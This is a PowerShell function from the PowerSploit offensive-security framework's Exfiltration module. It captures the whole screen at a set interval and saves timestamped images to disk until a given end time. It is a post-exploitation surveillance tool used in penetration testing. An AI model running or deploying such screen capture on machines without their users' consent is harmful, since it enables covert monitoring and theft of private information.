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function Get-TimedScreenshot
{
<#
.SYNOPSIS
Takes screenshots at a regular interval and saves them to disk.
PowerSploit Function: Get-TimedScreenshot
Author: Chris Campbell (@obscuresec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
A function that takes screenshots and saves them to a folder.
.PARAMETER Path
Specifies the folder path.
.PARAMETER Interval
Specifies the interval in seconds between taking screenshots.
.PARAMETER EndTime
Specifies when the script should stop running in the format HH-MM
.EXAMPLE
PS C:\> Get-TimedScreenshot -Path c:\temp\ -Interval 30 -EndTime 14:00
.LINK
http://obscuresecurity.blogspot.com/2013/01/Get-TimedScreenshot.html
https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Get-TimedScreenshot.ps1
#>
[CmdletBinding()] Param(
[Parameter(Mandatory=$True)]
[ValidateScript({Test-Path -Path $_ })]
[String] $Path,
[Parameter(Mandatory=$True)]
[Int32] $Interval,
[Parameter(Mandatory=$True)]
[String] $EndTime
)
#Define helper function that generates and saves screenshot
Function Get-Screenshot {
$ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen
$VideoController = Get-WmiObject -Query 'SELECT VideoModeDescription FROM Win32_VideoController'
if ($VideoController.VideoModeDescription -and $VideoController.VideoModeDescription -match '(?<ScreenWidth>^\d+) x (?<ScreenHeight>\d+) x .*$') {
$Width = [Int] $Matches['ScreenWidth']
$Height = [Int] $Matches['ScreenHeight']
} else {
$ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen
$Width = $ScreenBounds.Width
$Height = $ScreenBounds.Height
}
$Size = New-Object System.Drawing.Size($Width, $Height)
$Point = New-Object System.Drawing.Point(0, 0)
$ScreenshotObject = New-Object Drawing.Bitmap $Width, $Height
$DrawingGraphics = [Drawing.Graphics]::FromImage($ScreenshotObject)
$DrawingGraphics.CopyFromScreen($Point, [Drawing.Point]::Empty, $Size)
$DrawingGraphics.Dispose()
$ScreenshotObject.Save($FilePath)
$ScreenshotObject.Dispose()
}
Try {
#load required assembly
Add-Type -Assembly System.Windows.Forms
Do {
#get the current time and build the filename from it
$Time = (Get-Date)
[String] $FileName = "$($Time.Month)"
$FileName += '-'
$FileName += "$($Time.Day)"
$FileName += '-'
$FileName += "$($Time.Year)"
$FileName += '-'
$FileName += "$($Time.Hour)"
$FileName += '-'
$FileName += "$($Time.Minute)"
$FileName += '-'
$FileName += "$($Time.Second)"
$FileName += '.png'
#use join-path to add path to filename
[String] $FilePath = (Join-Path $Path $FileName)
#run screenshot function
Get-Screenshot
Write-Verbose "Saved screenshot to $FilePath. Sleeping for $Interval seconds"
Start-Sleep -Seconds $Interval
}
#note that this will run once regardless if the specified time as passed
While ((Get-Date -Format HH:mm) -lt $EndTime)
}
Catch {Write-Error $Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage}
}
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